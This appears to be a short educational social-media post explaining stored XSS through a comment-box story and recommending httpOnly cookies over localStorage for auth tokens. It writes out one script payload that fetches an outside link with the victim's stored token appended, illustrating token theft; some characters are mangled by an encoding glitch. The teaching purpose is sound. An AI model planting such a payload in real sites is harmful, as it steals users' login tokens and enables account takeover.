Let me explain this with a small real-world type story. Imagine you have a website with a comment box and users can write anything and submit comments. One day, instead of a normal comment, someone submits this:
<โscript>
fetch("https://lnkd.in/g2mtaYea" + localStorage.getItem("token") );
<โ/script>Your backend treats it like normal text and saves it in the database. No error. Nothing breaks. No rebuild or redeploy.
After some time, you open that page while you are already logged in. The browser reads the page and thinks, "This script belongs to this website."
So it runs it automatically. This is what we call XSS. No one took your laptop. You didn't click anything suspicious. You just opened your own website.
What happened here? - The script ran inside your browser - It read the token from localStorage - It silently sent the token to the attacker - You didn't see anything โ no alert, no redirect - From the server's side, the attacker now looks exactly like you.
Which means the attacker can access your data, call APIs using your account perform actions, even change or delete things.
Now we see the importance of cookies here:
If we use local storage to store the token then JavaScript can read it and if XSS happens, token is gone.
at the same time, if we store token in httpOnly cookie then we know that JavaScript can't read cookies.
The same script tries this: document.cookie, but the browser blocks it. So even if the script runs, it cannot steal your login token.
- Cookies were created to protect sensitive data from JavaScript.
- storing auth tokens in localStorage is risky and httpOnly cookies are a better choice
That's all for today, Understanding securities are very important.
Please connect me here if you need any further discussion.